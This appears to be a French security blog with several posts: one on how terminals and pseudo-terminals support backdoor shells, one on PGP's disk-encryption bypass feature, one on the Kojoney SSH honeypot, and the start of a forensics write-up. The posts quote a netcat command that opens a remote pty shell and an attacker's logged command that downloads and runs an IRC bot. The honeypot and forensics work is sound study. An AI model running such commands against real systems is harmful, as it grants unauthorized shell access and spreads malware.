devloop :: blog

J'ai toujours trouvé aux réseaux un petit côté "magique", l'idée de pouvoir éditer un fichier qui se trouve à des milliers de kilomêtres de chez moi ma toujours parue fabuleuse C'est peut-être pour cela que j'ai toujours admiré les TTYs (ouah c'est beau un terminal, surtout avec du ncurse ) et ils sont restés longtemps pour moi un grand mystère, au moins jusqu'à ces derniers jours, moment fatidique où j'ai décidé de me lancer dans l'épineuse aventure des TTY/PTY.

Un terminal, kezako ?
Sous Linux, un terminal est avant tout un périphérique. On en trouve dans /dev (pty*, tty*) et dans /dev/pts (terminaux esclaves).
Le terminal se charge de faire le lien entre le clavier et le programme qui recevra les commandes. Il transforme la frappe de certaines touches du clavier en un "code d'échappement" que le programme saura comment interpréter.
Ces codes d'échappements sont définis dans des standards comme le VT100.

L'utilité d'un terminal par rappel à une ligne de commande "brute" est bien évidemment de pouvoir exécuter des programmes interactifs comme Vim, Emacs, top, nethack et bien d'autres... c'est pour dire à quel point ils sont devenus indispensables ;-)
Même si la plupart des backdoors existantes n'offrent pas le support des ttys, quelques-unes le proposent avec plus ou moins de réussite.

Canonique or not canonique ?
Dans la plupart des cas, elles sont inutilisables telles quelles car il n'y a pas de client associé. L'utilisation de netcat pour s'y connecter ne permet pas de profiter du terminal côté serveur car netcat ne gère pas le tty. Notamment netcat lit les données tappées de façon canonique (attente d'une fin de ligne pour traiter les données) alors qu'un terminal les lit de façon non-canonique : les données sont traitées à chaque frappe du clavier.
Le mode non-canonique est indispensable pour les programmes cités plus tôt (par exemple pouvoir taper simplement q pour quitter top sans avoir à appuyer sur entrée).

Toi comprendre ce que moi dire ?
Vient alors un autre problème : le terminal client et le terminal serveur doivent parler la même langue. Une bonne partie des lnormes existantes sont compatibles car basées sur les codes d'échappement ANSI mais ce n'est pas toujours le cas.
Le standard utilisé est habituellement défini par la variable d'environnement TERM sous le shell.

Deux solutions sont possibles pour faire dialoguer correctement le client et le serveur :

• Utiliser un client et un serveur utilisant le même langage
  
• Utiliser un protocole permettant au client et au serveur de se mettre d'accord sur le type de terminal à utiliser
  

Implémentations
La première solution est celle utilisée dans sorshell.c. Le client et le serveur se voient fixer la variable d'environnement TERM à "vt100". Le client est configuré en mode non-canonique est sans échos (voir plus loin).

L'autre solution a fait son apparition il y a maintenant longtemps avec le protocole telnet. Par ce protocole, le client et le serveur négocient le type de terminal ainsi que d'autres règles de transmission.
L'implémentation de telnet dans un logiciel ne facilitant pas les choses, certains ont préférés ruser comme pour Tiny Shell qui se contente de l'envoi du type de terminal utilisé.
Il existe tout de même un code en perl où toute la couche telnet est utilisée

Terminal client
Un dehors du mode canonique (ou non), le client ne doit pas interpréter certains signaux comme un Ctrl+C afin de les traduire pour les transmettre au serveur.
Les deux parties doivent aussi se mettre d'accord sur qui renvoie les données. Quand on frappe sur une touche depuis le client, on s'attend à ce qu'elle apparaisse à l'écran. Soit elle s'affiche au moment où on appuie sur la touche, soit quand le serveur nous la renvoit (il a fait un "écho"), soit les deux en même temps (dans ce cas là, le caractère s'affiche en double).
Le serveur renvoyant généralement plus de données que le client n'en envoit, le client est habituellement passé en non-écho et les caractères s'affichent alors lorsque le serveur les renvoit au client (le client ne renvoie pas les données du serveur).
Dans une session telnet, la taille de la fenêtre de terminal sera aussi négociée (généralement 80x25 par défaut).

Le rôle du terminal client consiste à lire les touches tapées sur l'entrée standard pour les restransmettre vers le serveur, le tout avec les caractéristiques citées précédemment.
Sa programmation est simple. Il faut d'abord récupérer une structure termios définissant le modèle du terminal actuel à l'aide de la fonction tcgetattr(), modifier cette structure selon nos souhaits pour enfin mettre à jour le terminal avec les nouveaux paramêtres (fonction tcsetattr()).

Le code utilisé en C dans sorshell est le suivant :

struct termios deftt,tt;

/* terminal init */
tcgetattr(0, &deftt); /* récupére les préférences du terminal */
tt = deftt; /* copie */
tt.c_oflag &= ~(OPOST);
tt.c_lflag &= ~(ECHO | ICANON | IEXTEN | ISIG); /* pas d'écho, ne recoit pas les signaux, mode non-canonique... */
tt.c_iflag &= ~(ICRNL); /* transforme les CR en NL */
tt.c_cc[VMIN] = 1; /* lit caractère après caractère */
tt.c_cc[VTIME] = 0; /* pas de délai de lecture */
tcsetattr(0, TCSADRAIN, &tt); /* mettre à jour le terminal */
...
tcsetattr(0, TCSADRAIN, &deftt); /* restauration */

stty
Sous Linux, la commande stty permet de modifier les paramêtres d'un terminal. On peut alors utiliser un client "brut" en modifiant le terminal courant, ce qui donnerait un script dans ce style :

stty -icanon -echo -isig
netcat serveur 9999 -v
stty icanon echo isig
clear

Un shell avec terminal pour pas un rond
Petite astuce trouvée sur pentestmonkey : on peut utiliser la richesse des API Python pour associer facilement un shell avec un pseudo-terminal.
La commande pour lancer un serveur fonctionnant avec le script client précédent sera la suivante :

netcat -e "python -c 'import pty; pty.spawn(\"/bin/sh\")'" -v -l -p 9999

Terminal serveur
Du côté du serveur, le terminal doit fonctionner en sens inverse : lire les codes d'échappement reçus et les transformer en signaux, déplacement de curseur etc.
La programmation du serveur est plus compliquée et se base sur l'utilisation d'un pseudo-terminal dont le fonctionnement est proche des pipe.
On a alors un pseudo-terminal (pty) maître sur lequel on écrit les données reçues par le réseau et un pty esclave (pts) qui reçoit les données et les filtre avant de les renvoyer au shell.

La programmation suivra la procédure suivante :

1. Ouverture du périphérique /dev/ptmx qui va chercher un pty maître disponible et retourner son descripteur de fichier
   
2. Appel à la fonction grantpt() pour modifier les droits d'accès au terminal esclave (le pts)
   
3. Utilisation de la fonction unlockpt() pour dévérouiller le pts
   
4. ptsname() permettra ensuite de récupérer le nom du pts
   
5. Ouverture du pseudo-terminal esclave
   

Pour terminer, le programme fait un fork(), le processus fils redirige ses entrées/sorties vers le pts avant de lancer un shell et le processus père gère les entrées réseau.
C'est ce que fait sorshell.c (mis à part qu'il le fait en bas niveau).

Tunneling à travers Jabber (GTalk)
En Python, le nombre d'étapes a été fortement réduites et côté serveur, il suffit d'appeller les fonctions openpty() et fork() du module pty.
Pour illustrer tout cela j'ai développé un petit programme permettant de faire passer un shell/tty à travers une session XMPP. Le code se base sur l'utilisation des serveurs GoogleTalk mais peu être facilement modifié. Il utilise la librairie xmpppy
Le protocole XMPP ne permettant pas de faire facilement transiter des données brutes, celles-ci sont envoyées sous leur forme hexadécimale (encodage pour le caractère 'A' sera '61'). Quelques temporisations ont dû être rajoutées car le serveur GTalk n'hésite pas à couper la communication si les envois successifs sont trop rapprochés.

Ca fonctionne plutôt bien, si ce n'est que c'est assez lent. J'ai réussi à éditer avec VIM, naviguer dans une page de manuel etc. Par contre il faut faire attention avec les commandes qui envoient continuellement des données à l'écran (c'est le cas de top) qui risquent de faire bloquer le programme dans une boucle (avec un top -n <nombre d'affichages> ça passe).

Télécharger jabbertunnel.tar.bz2

Références :
www.iakovlev.org
sorshell.c
emse.fr : Saisies de données au clavier
win.py (Terminal Emulator)
Python Library Reference : termios
Python Library Reference : pty

Il y a quelques jours, le blog Securology a publié un article traitant d'une fonctionnalité peu connue du logiciel de chiffrement de disque PGP Whole Disk Encryption (WDE) qui a provoqué quelques réactions "trollesques"...

Avant d'entrer dans le vif du sujet, il est bon de connaître à quoi sert PGP WDE et un résumé simple de son fonctionnement.
PGP Whole Disk Encryption permet, comme son nom l'indique, de chiffrer la totalité d'un disque dûr, c'est à dire : les différentes partitions, le (ou les) système(s) d'exploitation et le secteur de boot (Master Boot Record).
Quand un poste disposant de cette technologie est allumé, il boote d'abord sur du code de PGP qui va demander la saisie d'un mot de passe au clavier par l'utilisateur.
Par une suite de différents calculs cryptographiques, ce mot de passe va permettre au final le déchiffrement des données.

Dans les étapes utilisées pour arriver au lancement du système d'exploitation, la première est la déchiffrement d'une clé qui a été cryptée à l'aide du mot de passe de l'utilisateur.
Cette méthode est très utilisée, notamment pour la cryptographie à clé publique : pour éviter que la clé secrète soit compromise en cas d'intrusion et/ou de vol de données, celle-ci n'est pas stockée en clair sur le disque mais stockée chiffrée par un algorithme de chiffrement symétrique.
Ce procédé est nommé S2K / K2S (string-to-key et vice-versa), il est par exemple documenté dans la RFC 2440 : OpenPGP Message Format (chapitres 3.6.*, c'est dans la même RFC que l'on trouve une explication sur le Radix-64 )

On pourrait penser que la clé déchiffrée est celle utilisée pour le déchiffrement, mais il n'en est rien. Il y a une seconde étape qui permet à partir de cette clé d'accèder à la clé maître (master key) avec laquelle le chiffrement a été utilisé.
L'objectif de ce second procédé et de permettre à différents utilisateurs de déchiffrer le disque, chacun utilisant un mot de passe différent (si j'ai bien tout compris )

Maintenant que vous connaissez (vaguement) le fonctionnement du système, il est temps de parler de la fonctionnalité baptisée "Whole Disk Encryption (WDE) Bypass".
Le nom est celui donné par PGP et est suffisament explicite : il permet de passer oûtre la saisie d'un mot de passe pour déchiffrer les données.

A quoi sert exactement cette fonctionnalité ? Elle permet aux administrateurs de faire redémarrer les machines dont le disque est chiffré par WDE.
Partons du principe que vous êtes un administrateur d'un parc réseau avec des machines ultra-sécurisées et que vous avez besoin d'effectuer différentes taches qui seront validées lors du redémarrage de la machine.
Vous lancez l'opération et vous attendez sagement que vos machines redémarrent pour continuer à travailler. Sauf que... les machines ne redémarrent pas !
En effet le système d'exploitation ne s'est pas lancé car personne n'est devant le poste pour saisir le mot de passe de déchiffrement et par conséquent la couche réseau de l'OS n'est pas disponible. Vous voilà obligé de faire le tour des machines et de saisir chaque mot de passe de déchiffrement pour remettre votre réseau en marche

C'est là qu'intervient la fameuse fonctionnalité "bypass". Quand elle est activée, elle va stocker sur le disque une nouvelle clé de chiffrement dérivée de la master key ainsi qu'un flag disant à WDE d'utiliser cette clé automatiquement au prochain démarrage du poste. Cette clé est cryptée par le procédé S2K par un mot de passe fixe (valeur hexadécimale 0x01).

Donc :

• l'administrateur lance ses taches sur les machines
  
• il active le WDE Bypass
  
• il redémarre les postes
  
• WDE utilise la clé de bypass pour démarrer les postes
  
• WDE supprime les données de bypass qui ont été placées sur le disque
  
• les postes sont démarrés et accessibles par le réseau
  

Sur le principe c'est plutôt bien trouvé et c'est une fonctionnalité qui est semble très appréciée dans les entreprises (on peut comprendre). Le problème c'est que l'on baisse la sécurité du chiffrement à chaque utilisation du mode bypass : il suffit qu'un intrus subtilise une machine entre le moment de l'éteignage et celui du redémarrage pour disposer d'un disque sur lequel sont présentes toutes les informations nécessaires pour déchiffer le disque.

Le débat faire rage sur Slashdot entre ceux qui considèrent qu'il s'agit d'une backdoor et ceux qui défendent qu'il s'agit d'une fonctionnalité tout à fait normale.
En réalité quand j'essayais de comprendre le fonctionnement de tout ça, ça n'a pas été évident de trouver les commentaires de ceux qui se posaient les vrais questions sur Slashdot. Il faut dire que tout les articles sur le sujet sont en anglais et que ça ne facilite pas la tâche... heureusement c'est de l'écrit (j'ai eu l'occasion de parler anglais cet après midi et c'était l'enfer, en plus c'était une discussion avec un chinois )

Après avoir pesé le pour et le contre, mon opinion personnelle est que non, ce n'est pas une backdoor.
D'abord, bien que peu expliquée, cette fonctionnalité était citée dans la documentation. De plus PGP affiche une position claire sur cette fonctionnalité et a réagit en postant un commentaire sur le blog de l'auteur de l'article avant de donner des explications publiques.

Cependant cette fonctionnalité baisse considérablement la sécurité générale du chiffrement. Comme toujours en cryptographie, le niveau de sécurité d'un système est équivalent à celui de son mayon le plus faible. Ici on peut imaginer un malware qui active le WDE Bypass en vue d'une prochaine attaque physique, ou encore un code qui modifiera le fonctionnement du WDE... mais là on s'écarte sans doute trop du sujet.

Dans tous les cas pour activer cette fonctionnalité il faut un "cryptographic access" aux données, c'est à dire avoir des droits d'utilisateur sur la machine, c'est à dire... avoir accès aux données en clair.

En fin de compte ce qui gêne c'est que le WDE Bypass pourrait tout aussi bien être utilisé en douce, et q'une clé spéciale soit intégrée à l'installation du logiciel, chiffrée à l'aide d'une passphrase connue seulement par une certaine agence de sécurité nationnale
Bref on en revient à la confiance que l'on donne aux développeurs des logiciels que l'on utilise. Mais c'est un procédé intéressant et je comptais bien vous faire profiter de ces articles

Explication (simplifiée) de PGP WDE sur le site officiel (vidéo présente)
Un second article de Securology en réponse aux informations apportées par un représentant de PGP
Le premier article

Kojoney est un honeypot à faible interaction.
Développé en Python et basé sur les librairies réseau Twisted, il émule un serveur SSH tournant sur un système où les utilisateurs ont des mots de passes faibles.

Certains pirates ont recours à des scanneurs qui se connectent sur des adresses IP prises au hazard et qui tentent une attaque par froce brute sur les mots de passes, ciblant principalement les mots de passes par défaut ou ceux dont l'utilisateur n'a pas fait preuve d'imagination.

L'institut SANS tient à jour un classement des 20 vulnérabilités qu'il juge les plus critiques. Pendant très longtemps l'utilisation de mots de passes facilement trouvables était en tête du classement mais il semble qu'avec la prolifération des vers, des spywares et autres malwares, les mauvais mots de passes ont une importance moindre. Pourtant ils sont et seront toujours présents.

Si vous vous promenez sur les forums spécialisés Linux vous avez sans doute déjà vu quelques personnes se plaindre de ces attaques. Et même si la plupart du temps ces attaques échouent, elles font beaucoup parler d'elles.

Kojoney vous permet d'analyser ce traffic. Le logiciel enregistre dans des fichiers de log toutes les tentatives qui ont été faites ainsi que les commandes tappées par le pirate dès que celui-çi a trouvé un des comptes utilisé par Kojoney

Kojoney a plusieurs défauts, même s'il n'en est pas forcément le responsable. Premièrement il faut avouer que les pirates qui effectuent de telles attaques ne sont généralement pas d'un niveau très élevé. Il faut dire qu'effectuer des attaques brute-force est ce qu'il se fait de moins discret. Ca génère une quantité de logs impressionants, c'est facilement détecté par des logiciels de surveillance et même un informaticien débutant peut se douter qu'il se passe quelque chose de louche en voyant sa bande passante réduite aussi vite.
Le second problème est qu'il ne fait que simuler un serveur SSH. Techniquement le programme ne fait que boucler sur ce que tappe l'utilisateur et y répondre quand il en est capable. Par conséquent on atteint très facilement les limites de ce faux environnement, par exemple il est impossible de se promener ailleurs que dans la racine (/) et le pirate ne peut pas utiliser de programmes interactifs (emacs, vim, ftp...)

Toutefois avec les versions 0.0.4 il est possible pour ceux qui ont quelques connaissances en Python de rajouter très facilement des commandes à ce shell virtuel
J'utilise Kojoney depuis un bon boût de temps maintenant et j'y ai apporté quelques retouches (c'est tout l'avantage des logiciels libres) afin de rendre l'environnement plus réaliste. Malheureusement toute la partie gestion du terminal est laissée à la librairie Twisted Conch et certaines modifications semblent impossibles à apporter (utilisations des flèches pour gérer l'historique, utilisation de la touche backspace...)

La version 0.0.4.1 apporte une nouvelle fonctionnalité : télécharger dans le dossier /var/log/kojoney les fichiers que les pirates auront tenté de rapatrier avec wget ou curl

La lecture des logs peut être assez longue, heureusement différentes commandes permettent d'obtenir un résultat plus lisible. Le principal utilitaire est kojreport qui génère des statistiques sur les attaquants (pays les plus actifs, commandes les plus utilisés etc)

Rien qu'au niveau des logiciels d'attaques utilisés ont remarque des différences : certains continuent d'attaquer après avoir trouvé un mot de passe, d'autre s'arrêtent au premier compte obtenu.
La plupart du temps les pirates se servent d'une machine compromise pour effectuer l'attaque et se connectent au compte en utilisant une autre machine (leur machine perso ?) Généralement les attaquants sont humains mais quelques fois on a affaire à des outils automatisés qui lancent des commandes en aveugle, par exemple :

wget free-ftp.org/trkalce/botovi.tar.gz;tar -zxvf botovi.tar.gz;cd bots;chmod +x inetd;./inetd

Quelques attaquants se concentrent uniquement sur le compte root, allant parfois jusqu'à ne tenter qu'un seul mot de passe (root/root ?)
Les premières actions des pirates consistent généralement à vérifier s'ils sont seuls sur la machine (w ou who), à savoir où ils sont (pwd, ls) et sur quoi ils se trouvent (uname, uptime). Ensuite ils tentent de changer le mot de passe (passwd) - pour éviter que quelqu'un passe dérrière eux - et téléchargent une backdoor

Dans la grande majorité des cas il s'agit d'un bot irc. Le programme se connecte à un serveur IRC, dans un cannal donné et attend que quelqu'un sur ce cannal lui donne des ordres. La machine vient très probablement se rajouter à un botnet.

Les pirates ne maîtrisent pas tous Linux comme ils le devraient et abandonnent très vite en voyant que certaines commandes ne sont pas présentes ou leur sont interdites. Ils manquent de curiosité et ne prennent pas le temps de comprendre ce qu'il se passe

Pour tout dire, un seul a jusqu'à présent eu l'intention de passer root
Il a téléchargé un binaire nommé 'hat' à l'adresse dogg-crew.com/nightfox/hat. Après l'avoir placé dans un chroot et l'avoir 'stracé' j'ai très vite compris qu'il s'agissait d'un exploit pour une faille dans les kernels 2.4 (do_brk). Le nom de l'exploit complet étant hatorihanzo on comprend mieux le nom du fichier.

Le binaire a d'autres particularités intéressantes. Tout d'abord il semble vérolé et est détecté comme étant Virus.Linux.Osf.8759 (ou Linux/OSF.A)
Il faut avouer que le fichier est assez imposant (423Ko) même pour un programme compilé statiquement. Une grande partie du code semble être crypté et certains désassembleurs se cassent les dents dessus :

On comprends mieux où se trouve la signature du virus
Même en le désassemblant avec gdb je ne suis pas parvenu à voir autre chose que la partie exploit du fichier, mais mes connaissances en virus sont très limitées.

J'espère que ce billet vous aura donné l'envie d'installer Kojoney.
Je vous recommande, une fois l'installation effectuée, de télécharger mes modifications et de remplacer les fichiers de la version originale.

Dans le jargon informatique, les analyses post-mortem ou plus simplement "analyses après intrusions" (en anglais Computer forensics) sont l'ensemble des techniques visant à récolter les preuves d'une activité illégale sur un système informatique.
Ce domaine est en pleine croissance et les sites dédiés à ce sujet commencent à fleurir sur la toile, preuve que l'efficacité des techniques de sécurisation reste très relative et que le nombre d'attaques va croissant.
Le forensics n'est pas seulement utilisé pour étudier les intrusions indésirables mais aussi pour les intrusions désirables (honeypots), afin de se tenir au courant des dernières techniques ou exploits en vogue.
C'est aussi un sujet épineux puisque techniquement délicat (essayez d'analyser l'intérieur d'un objet sans y mettre les doigts) et en rapport direct avec la connaissances des systèmes de fichiers (sujet à troll).
Mais ce qui est sûr c'est que c'est un sujet passionnant et que sa pratique nous apprends tout un tas de choses intéressantes

Pour cette épreuve du Securitech de cette année, on nous donnait une image vmware d'un système linux récemment piraté
On nous donnait quelques axes de recherches par le biais des 3 questions suivantes :

• Quel est le chemin abolu du l'exécutable ayant permis à l'intrus d'entrer sur le système
  
• Quel sont les coordonnées du pirate où sont envoyées des informations concernant le système
  
• Quelle est la commande détournée (backdoor) permettant au pirate de reprendre possession du système
  

Read more...